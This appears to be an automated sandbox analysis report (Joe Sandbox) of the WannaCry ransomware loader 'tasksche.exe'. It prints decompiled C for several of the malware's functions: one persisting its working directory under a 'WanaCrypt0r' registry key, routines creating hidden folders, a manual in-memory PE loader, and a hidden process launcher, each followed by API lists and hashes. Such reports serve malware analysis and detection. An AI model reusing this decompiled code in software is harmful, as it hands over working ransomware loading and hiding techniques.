                                                                                                • Opcode ID: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                                                                                                • Instruction ID: 0f1cc1f94130967d107883c1ee7151828ebb686b55f89e1ef1b9593e139f0a32
                                                                                                • Opcode Fuzzy Hash: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                                                                                                • Instruction Fuzzy Hash: 25318172500319AEDB24B7B19E89E9F376C9F10319F20057FF645F65E2DE788D488A28
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004010FD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 100registrystringCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 58%
                                                                                                			E004010FD(intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				void _v196;
				long _v216;
				void _v735;
				char _v736;
				signed int _t44;
				void* _t46;
				signed int _t55;
				signed int _t56;
				char* _t72;
				void* _t77;

				_t56 = 5;
				memcpy( &_v216, L"Software\\", _t56 << 2);
				_push(0x2d);
				_v736 = _v736 & 0;
				_v8 = _v8 & 0x00000000;
				memset( &_v735, memset( &_v196, 0, 0 << 2), 0x81 << 2);
				asm("stosw");
				asm("stosb");
				wcscat( &_v216, L"WanaCrypt0r");
				_v12 = _v12 & 0x00000000;
				_t72 = "wd";
				do {
					_push( &_v8);
					_push( &_v216);
					if(_v12 != 0) {
						_push(0x80000001);
					} else {
						_push(0x80000002);
					}
					RegCreateKeyW();
					if(_v8 != 0) {
						if(_a4 == 0) {
							_v16 = 0x207;
							_t44 = RegQueryValueExA(_v8, _t72, 0, 0,  &_v736,  &_v16);
							asm("sbb esi, esi");
							_t77 =  ~_t44 + 1;
							if(_t77 != 0) {
								SetCurrentDirectoryA( &_v736);
							}
						} else {
							GetCurrentDirectoryA(0x207,  &_v736);
							_t55 = RegSetValueExA(_v8, _t72, 0, 1,  &_v736, strlen( &_v736) + 1);
							asm("sbb esi, esi");
							_t77 =  ~_t55 + 1;
						}
						RegCloseKey(_v8);
						if(_t77 != 0) {
							_t46 = 1;
							return _t46;
						} else {
							goto L10;
						}
					}
					L10:
					_v12 = _v12 + 1;
				} while (_v12 < 2);
				return 0;
			}
















                                                                                                0x0040110f
                                                                                                0x00401116
                                                                                                0x00401118
                                                                                                0x0040111c
                                                                                                0x00401129
                                                                                                0x0040113a
                                                                                                0x0040113c
                                                                                                0x0040113e
                                                                                                0x0040114b
                                                                                                0x00401151
                                                                                                0x00401157
                                                                                                0x0040115c
                                                                                                0x00401164
                                                                                                0x0040116b
                                                                                                0x0040116c
                                                                                                0x00401175
                                                                                                0x0040116e
                                                                                                0x0040116e
                                                                                                0x0040116e
                                                                                                0x0040117a
                                                                                                0x00401183
                                                                                                0x0040118c
                                                                                                0x004011cf
                                                                                                0x004011e4
                                                                                                0x004011ee
                                                                                                0x004011f0
                                                                                                0x004011f1
                                                                                                0x004011fa
                                                                                                0x004011fa
                                                                                                0x0040118e
                                                                                                0x0040119a
                                                                                                0x004011bd
                                                                                                0x004011c7
                                                                                                0x004011c9
                                                                                                0x004011c9
                                                                                                0x00401203
                                                                                                0x0040120b
                                                                                                0x00401222
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x0040120b
                                                                                                0x0040120d
                                                                                                0x0040120d
                                                                                                0x00401210
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • wcscat.MSVCRT(?,WanaCrypt0r,?,0000DDB6), ref: 0040114B
                                                                                                • RegCreateKeyW.ADVAPI32(80000001,?,00000000), ref: 0040117A
                                                                                                • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
                                                                                                • strlen.MSVCRT(?), ref: 004011A7
                                                                                                • RegSetValueExA.ADVAPI32(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
                                                                                                • RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
                                                                                                • SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00401203
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: CurrentDirectoryValue$CloseCreateQuerystrlenwcscat
                                                                                                • String ID: 0@$Software\$WanaCrypt0r
                                                                                                • API String ID: 865909632-3421300005
                                                                                                • Opcode ID: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                                                                                                • Instruction ID: 752dd9e6153134350df00ddc45e524be7a8e60cbe47ba2191db59f61a0b32c4f
                                                                                                • Opcode Fuzzy Hash: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                                                                                                • Instruction Fuzzy Hash: 09316232801228EBDB218B90DD09BDEBB78EB44751F1140BBE645F6190CB745E84CBA8
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401B5F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 123COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 81%
                                                                                                			E00401B5F(intOrPtr _a4) {
				void _v202;
				short _v204;
				void _v722;
				long _v724;
				signed short _v1240;
				void _v1242;
				long _v1244;
				void* _t55;
				signed int _t65;
				void* _t72;
				long _t83;
				void* _t94;
				void* _t98;

				_t83 =  *0x40f874; // 0x0
				_v1244 = _t83;
				memset( &_v1242, 0, 0x81 << 2);
				asm("stosw");
				_v724 = _t83;
				memset( &_v722, 0, 0x81 << 2);
				asm("stosw");
				_push(0x31);
				_v204 = _t83;
				memset( &_v202, 0, 0 << 2);
				asm("stosw");
				MultiByteToWideChar(0, 0, 0x40f8ac, 0xffffffff,  &_v204, 0x63);
				GetWindowsDirectoryW( &_v1244, 0x104);
				_v1240 = _v1240 & 0x00000000;
				swprintf( &_v724, L"%s\\ProgramData",  &_v1244);
				_t98 = _t94 + 0x30;
				if(GetFileAttributesW( &_v724) == 0xffffffff) {
					L3:
					swprintf( &_v724, L"%s\\Intel",  &_v1244);
					if(E00401AF6( &_v724,  &_v204, _a4) != 0 || E00401AF6( &_v1244,  &_v204, _a4) != 0) {
						L2:
						_t55 = 1;
						return _t55;
					} else {
						GetTempPathW(0x104,  &_v724);
						if(wcsrchr( &_v724, 0x5c) != 0) {
							 *(wcsrchr( &_v724, 0x5c)) =  *_t69 & 0x00000000;
						}
						_t65 = E00401AF6( &_v724,  &_v204, _a4);
						asm("sbb eax, eax");
						return  ~( ~_t65);
					}
				}
				_t72 = E00401AF6( &_v724,  &_v204, _a4);
				_t98 = _t98 + 0xc;
				if(_t72 == 0) {
					goto L3;
				}
				goto L2;
			}
















                                                                                                0x00401b68
                                                                                                0x00401b80
                                                                                                0x00401b87
                                                                                                0x00401b89
                                                                                                0x00401b95
                                                                                                0x00401b9c
                                                                                                0x00401b9e
                                                                                                0x00401ba0
                                                                                                0x00401bab
                                                                                                0x00401bb4
                                                                                                0x00401bb6
                                                                                                0x00401bca
                                                                                                0x00401bdd
                                                                                                0x00401be9
                                                                                                0x00401c04
                                                                                                0x00401c06
                                                                                                0x00401c19
                                                                                                0x00401c40
                                                                                                0x00401c53
                                                                                                0x00401c70
                                                                                                0x00401c38
                                                                                                0x00401c3a
                                                                                                0x00000000
                                                                                                0x00401c8f
                                                                                                0x00401c97
                                                                                                0x00401cb2
                                                                                                0x00401cbf
                                                                                                0x00401cc4
                                                                                                0x00401cd6
                                                                                                0x00401ce0
                                                                                                0x00000000
                                                                                                0x00401ce2
                                                                                                0x00401c70
                                                                                                0x00401c2c
                                                                                                0x00401c31
                                                                                                0x00401c36
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                                                                                                • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                                                                                                • swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00401C10
                                                                                                • swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53
                                                                                                • GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
                                                                                                • wcsrchr.MSVCRT(?,0000005C), ref: 00401CAC
                                                                                                • wcsrchr.MSVCRT(?,0000005C), ref: 00401CBD
                                                                                                  • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                                                                                                  • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                                                                                                  • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                                                                                                  • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: Directory$CreateCurrentswprintfwcsrchr$AttributesByteCharFileMultiPathTempWideWindows
                                                                                                • String ID: %s\Intel$%s\ProgramData
                                                                                                • API String ID: 3806094219-198707228
                                                                                                • Opcode ID: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                                                                                                • Instruction ID: 4ac525b1174630586dc3f01422198d44c3eaba501bd80531e66e43f198221a67
                                                                                                • Opcode Fuzzy Hash: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                                                                                                • Instruction Fuzzy Hash: 2C41447294021DAAEF609BA0DD45FDA777CAF04310F1045BBE608F71E0EA74DA888F59
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004021E9 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 233memoryCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 64%
                                                                                                			E004021E9(void* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, void* _a32) {
				signed int _v8;
				intOrPtr _v40;
				char _v44;
				void* _t82;
				struct HINSTANCE__* _t83;
				intOrPtr* _t84;
				intOrPtr _t89;
				void* _t91;
				void* _t104;
				void _t107;
				intOrPtr _t116;
				intOrPtr _t124;
				signed int _t125;
				signed char _t126;
				intOrPtr _t127;
				signed int _t134;
				intOrPtr* _t145;
				signed int _t146;
				intOrPtr* _t151;
				intOrPtr _t152;
				short* _t153;
				signed int _t155;
				void* _t156;
				intOrPtr _t157;
				void* _t158;
				void* _t159;
				void* _t160;

				_v8 = _v8 & 0x00000000;
				_t3 =  &_a8; // 0x40213f
				if(E00402457( *_t3, 0x40) == 0) {
					L37:
					return 0;
				}
				_t153 = _a4;
				if( *_t153 == 0x5a4d) {
					if(E00402457(_a8,  *((intOrPtr*)(_t153 + 0x3c)) + 0xf8) == 0) {
						goto L37;
					}
					_t151 =  *((intOrPtr*)(_t153 + 0x3c)) + _t153;
					if( *_t151 != 0x4550 ||  *((short*)(_t151 + 4)) != 0x14c) {
						goto L2;
					} else {
						_t9 = _t151 + 0x38; // 0x68004021
						_t126 =  *_t9;
						if((_t126 & 0x00000001) != 0) {
							goto L2;
						}
						_t12 = _t151 + 0x14; // 0x4080e415
						_t13 = _t151 + 6; // 0x4080e0
						_t146 =  *_t13 & 0x0000ffff;
						_t82 = ( *_t12 & 0x0000ffff) + _t151 + 0x18;
						if(_t146 <= 0) {
							L16:
							_t83 = GetModuleHandleA("kernel32.dll");
							if(_t83 == 0) {
								goto L37;
							}
							_t84 = _a24(_t83, "GetNativeSystemInfo", 0);
							_t159 = _t158 + 0xc;
							if(_t84 == 0) {
								goto L37;
							}
							 *_t84( &_v44);
							_t86 = _v40;
							_t23 = _t151 + 0x50; // 0xec8b55c3
							_t25 = _t86 - 1; // 0xec8b55c2
							_t27 = _t86 - 1; // -1
							_t134 =  !_t27;
							_t155 =  *_t23 + _t25 & _t134;
							if(_t155 != (_v40 + _v8 - 0x00000001 & _t134)) {
								goto L2;
							}
							_t31 = _t151 + 0x34; // 0x85680040
							_t89 = _a12( *_t31, _t155, 0x3000, 4, _a32);
							_t127 = _t89;
							_t160 = _t159 + 0x14;
							if(_t127 != 0) {
								L21:
								_t91 = HeapAlloc(GetProcessHeap(), 8, 0x3c);
								_t156 = _t91;
								if(_t156 != 0) {
									 *((intOrPtr*)(_t156 + 4)) = _t127;
									_t38 = _t151 + 0x16; // 0xc3004080
									 *(_t156 + 0x14) =  *_t38 >> 0x0000000d & 0x00000001;
									 *((intOrPtr*)(_t156 + 0x1c)) = _a12;
									 *((intOrPtr*)(_t156 + 0x20)) = _a16;
									 *((intOrPtr*)(_t156 + 0x24)) = _a20;
									 *((intOrPtr*)(_t156 + 0x28)) = _a24;
									 *((intOrPtr*)(_t156 + 0x2c)) = _a28;
									 *((intOrPtr*)(_t156 + 0x30)) = _a32;
									 *((intOrPtr*)(_t156 + 0x38)) = _v40;
									_t54 = _t151 + 0x54; // 0x8328ec83
									if(E00402457(_a8,  *_t54) == 0) {
										L36:
										E004029CC(_t156);
										goto L37;
									}
									_t57 = _t151 + 0x54; // 0x8328ec83
									_t104 = _a12(_t127,  *_t57, 0x1000, 4, _a32);
									_t59 = _t151 + 0x54; // 0x8328ec83
									_a32 = _t104;
									memcpy(_t104, _a4,  *_t59);
									_t107 =  *((intOrPtr*)(_a4 + 0x3c)) + _a32;
									 *_t156 = _t107;
									 *((intOrPtr*)(_t107 + 0x34)) = _t127;
									if(E00402470(_a4, _a8, _t151, _t156) == 0) {
										goto L36;
									}
									_t68 = _t151 + 0x34; // 0x85680040
									_t111 =  *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68;
									if( *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68) {
										_t152 = 1;
										 *((intOrPtr*)(_t156 + 0x18)) = _t152;
									} else {
										 *((intOrPtr*)(_t156 + 0x18)) = E00402758(_t156, _t111);
										_t152 = 1;
									}
									if(E004027DF(_t156) != 0 && E0040254B(_t156) != 0 && E0040271D(_t156) != 0) {
										_t116 =  *((intOrPtr*)( *_t156 + 0x28));
										if(_t116 == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = 0;
											L41:
											return _t156;
										}
										if( *(_t156 + 0x14) == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = _t116 + _t127;
											goto L41;
										}
										_push(0);
										_push(_t152);
										_push(_t127);
										if( *((intOrPtr*)(_t116 + _t127))() != 0) {
											 *((intOrPtr*)(_t156 + 0x10)) = _t152;
											goto L41;
										}
										SetLastError(0x45a);
									}
									goto L36;
								}
								_a16(_t127, _t91, 0x8000, _a32);
								L23:
								SetLastError(0xe);
								L3:
								goto L37;
							}
							_t127 = _a12(_t89, _t155, 0x3000, 4, _a32);
							_t160 = _t160 + 0x14;
							if(_t127 == 0) {
								goto L23;
							}
							goto L21;
						}
						_t145 = _t82 + 0xc;
						do {
							_t157 =  *((intOrPtr*)(_t145 + 4));
							_t124 =  *_t145;
							if(_t157 != 0) {
								_t125 = _t124 + _t157;
							} else {
								_t125 = _t124 + _t126;
							}
							if(_t125 > _v8) {
								_v8 = _t125;
							}
							_t145 = _t145 + 0x28;
							_t146 = _t146 - 1;
						} while (_t146 != 0);
						goto L16;
					}
				}
				L2:
				SetLastError(0xc1);
				goto L3;
			}






























                                                                                                0x004021ef
                                                                                                0x004021f8
                                                                                                0x00402204
                                                                                                0x0040243d
                                                                                                0x00000000
                                                                                                0x0040243d
                                                                                                0x0040220a
                                                                                                0x00402212
                                                                                                0x00402239
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00402242
                                                                                                0x0040224a
                                                                                                0x00000000
                                                                                                0x00402254
                                                                                                0x00402254
                                                                                                0x00402254
                                                                                                0x0040225a
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x0040225c
                                                                                                0x00402260
                                                                                                0x00402260
                                                                                                0x00402266
                                                                                                0x0040226a
                                                                                                0x0040228c
                                                                                                0x00402291
                                                                                                0x00402299
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004022a7
                                                                                                0x004022aa
                                                                                                0x004022af
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004022b9
                                                                                                0x004022bb
                                                                                                0x004022be
                                                                                                0x004022c1
                                                                                                0x004022c8
                                                                                                0x004022cb
                                                                                                0x004022d1
                                                                                                0x004022d7
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004022e8
                                                                                                0x004022eb
                                                                                                0x004022ee
                                                                                                0x004022f0
                                                                                                0x004022f5
                                                                                                0x0040230f
                                                                                                0x0040231a
                                                                                                0x00402320
                                                                                                0x00402324
                                                                                                0x0040233d
                                                                                                0x00402340
                                                                                                0x0040234a
                                                                                                0x00402350
                                                                                                0x00402356
                                                                                                0x0040235c
                                                                                                0x00402362
                                                                                                0x00402368
                                                                                                0x0040236e
                                                                                                0x00402374
                                                                                                0x00402377
                                                                                                0x00402386
                                                                                                0x00402436
                                                                                                0x00402437
                                                                                                0x00000000
                                                                                                0x0040243c
                                                                                                0x00402396
                                                                                                0x0040239a
                                                                                                0x0040239d
                                                                                                0x004023a0
                                                                                                0x004023a7
                                                                                                0x004023ba
                                                                                                0x004023bc
                                                                                                0x004023bf
                                                                                                0x004023cc
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004023d3
                                                                                                0x004023d3
                                                                                                0x004023d6
                                                                                                0x004023eb
                                                                                                0x004023ec
                                                                                                0x004023d8
                                                                                                0x004023e0
                                                                                                0x004023e6
                                                                                                0x004023e6
                                                                                                0x004023f8
                                                                                                0x00402414
                                                                                                0x00402419
                                                                                                0x0040244d
                                                                                                0x00402450
                                                                                                0x00000000
                                                                                                0x00402450
                                                                                                0x0040241e
                                                                                                0x00402448
                                                                                                0x00000000
                                                                                                0x00402448
                                                                                                0x00402420
                                                                                                0x00402421
                                                                                                0x00402424
                                                                                                0x00402429
                                                                                                0x00402441
                                                                                                0x00000000
                                                                                                0x00402441
                                                                                                0x00402430
                                                                                                0x00402430
                                                                                                0x00000000
                                                                                                0x004023f8
                                                                                                0x00402330
                                                                                                0x00402336
                                                                                                0x00402219
                                                                                                0x00402219
                                                                                                0x00000000
                                                                                                0x00402219
                                                                                                0x00402306
                                                                                                0x00402308
                                                                                                0x0040230d
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x0040230d
                                                                                                0x0040226c
                                                                                                0x0040226f
                                                                                                0x0040226f
                                                                                                0x00402272
                                                                                                0x00402276
                                                                                                0x0040227c
                                                                                                0x00402278
                                                                                                0x00402278
                                                                                                0x00402278
                                                                                                0x00402281
                                                                                                0x00402283
                                                                                                0x00402283
                                                                                                0x00402286
                                                                                                0x00402289
                                                                                                0x00402289
                                                                                                0x00000000
                                                                                                0x0040226f
                                                                                                0x0040224a
                                                                                                0x00402214
                                                                                                0x00402219
                                                                                                0x00000000

                                                                                                APIs
                                                                                                  • Part of subcall function 00402457: SetLastError.KERNEL32(0000000D,00402200,?!@,00000040,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402463
                                                                                                • SetLastError.KERNEL32(000000C1,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402219
                                                                                                • GetModuleHandleA.KERNEL32(kernel32.dll,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402291
                                                                                                • GetProcessHeap.KERNEL32(00000008,0000003C,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2), ref: 00402313
                                                                                                • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 0040231A
                                                                                                • memcpy.MSVCRT(00000000,?,8328EC83,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3), ref: 004023A7
                                                                                                  • Part of subcall function 00402470: memset.MSVCRT(?,00000000,?), ref: 004024D5
                                                                                                • SetLastError.KERNEL32(0000045A), ref: 00402430
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: ErrorLast$Heap$AllocHandleModuleProcessmemcpymemset
                                                                                                • String ID: ?!@$GetNativeSystemInfo$kernel32.dll
                                                                                                • API String ID: 1900561814-3657104962
                                                                                                • Opcode ID: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                                                                                                • Instruction ID: 3b750285519b5b92c664dbe57bf04ddc7e4262fbacbc213f0015b22f99412f1c
                                                                                                • Opcode Fuzzy Hash: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                                                                                                • Instruction Fuzzy Hash: 0A81AD71A01602AFDB209FA5CE49AAB77E4BF08314F10443EF945E76D1D7B8E851CB98
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401AF6 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 91%
                                                                                                			E00401AF6(WCHAR* _a4, WCHAR* _a8, wchar_t* _a12) {
				void* _t15;
				WCHAR* _t17;

				CreateDirectoryW(_a4, 0);
				if(SetCurrentDirectoryW(_a4) == 0) {
					L2:
					return 0;
				}
				_t17 = _a8;
				CreateDirectoryW(_t17, 0);
				if(SetCurrentDirectoryW(_t17) != 0) {
					SetFileAttributesW(_t17, GetFileAttributesW(_t17) | 0x00000006);
					if(_a12 != 0) {
						_push(_t17);
						swprintf(_a12, L"%s\\%s", _a4);
					}
					_t15 = 1;
					return _t15;
				}
				goto L2;
			}





                                                                                                0x00401b07
                                                                                                0x00401b16
                                                                                                0x00401b27
                                                                                                0x00000000
                                                                                                0x00401b27
                                                                                                0x00401b18
                                                                                                0x00401b1e
                                                                                                0x00401b25
                                                                                                0x00401b36
                                                                                                0x00401b40
                                                                                                0x00401b42
                                                                                                0x00401b4e
                                                                                                0x00401b54
                                                                                                0x00401b59
                                                                                                0x00000000
                                                                                                0x00401b59
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00401B2C
                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00401B36
                                                                                                • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401B4E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: Directory$AttributesCreateCurrentFile$swprintf
                                                                                                • String ID: %s\%s
                                                                                                • API String ID: 1036847564-4073750446
                                                                                                • Opcode ID: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                                                                                                • Instruction ID: 4a0a9b6f0974b2b783bf1fd4f993800d593798a72c4fd06372b86497b3864b36
                                                                                                • Opcode Fuzzy Hash: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                                                                                                • Instruction Fuzzy Hash: 99F06271200208BBEB103F65DE44F9B3B2CEB457A5F015832FA46B61A1DB75A855CAB8
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63processsynchronizationCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 81%
                                                                                                			E00401064(CHAR* _a4, long _a8, DWORD* _a12) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v88;
				signed int _t32;
				intOrPtr _t37;

				_t32 = 0x10;
				_v88.cb = 0x44;
				memset( &(_v88.lpReserved), 0, _t32 << 2);
				_v20.hProcess = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t37 = 1;
				_v88.wShowWindow = 0;
				_v88.dwFlags = _t37;
				if(CreateProcessA(0, _a4, 0, 0, 0, 0x8000000, 0, 0,  &_v88,  &_v20) == 0) {
					return 0;
				}
				if(_a8 != 0) {
					if(WaitForSingleObject(_v20.hProcess, _a8) != 0) {
						TerminateProcess(_v20.hProcess, 0xffffffff);
					}
					if(_a12 != 0) {
						GetExitCodeProcess(_v20.hProcess, _a12);
					}
				}
				CloseHandle(_v20);
				CloseHandle(_v20.hThread);
				return _t37;
			}







                                                                                                0x00401070
                                                                                                0x00401074
                                                                                                0x0040107d
                                                                                                0x00401082
                                                                                                0x00401085
                                                                                                0x00401086
                                                                                                0x00401087
                                                                                                0x0040108d
                                                                                                0x0040108e
                                                                                                0x004010a1
                                                                                                0x004010b0
                                                                                                0x00000000
                                                                                                0x004010f7
                                                                                                0x004010b5
                                                                                                0x004010c5
                                                                                                0x004010cc
                                                                                                0x004010cc
                                                                                                0x004010d5
                                                                                                0x004010dd
                                                                                                0x004010dd
                                                                                                0x004010d5
                                                                                                0x004010ec
                                                                                                0x004010f1
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004010A8
                                                                                                • WaitForSingleObject.KERNEL32(?,?), ref: 004010BD
                                                                                                • TerminateProcess.KERNEL32(?,000000FF), ref: 004010CC
                                                                                                • GetExitCodeProcess.KERNEL32(?,?), ref: 004010DD
                                                                                                • CloseHandle.KERNEL32(?), ref: 004010EC
                                                                                                • CloseHandle.KERNEL32(?), ref: 004010F1
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                                                                                • String ID: D
                                                                                                • API String ID: 786732093-2746444292
                                                                                                • Opcode ID: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
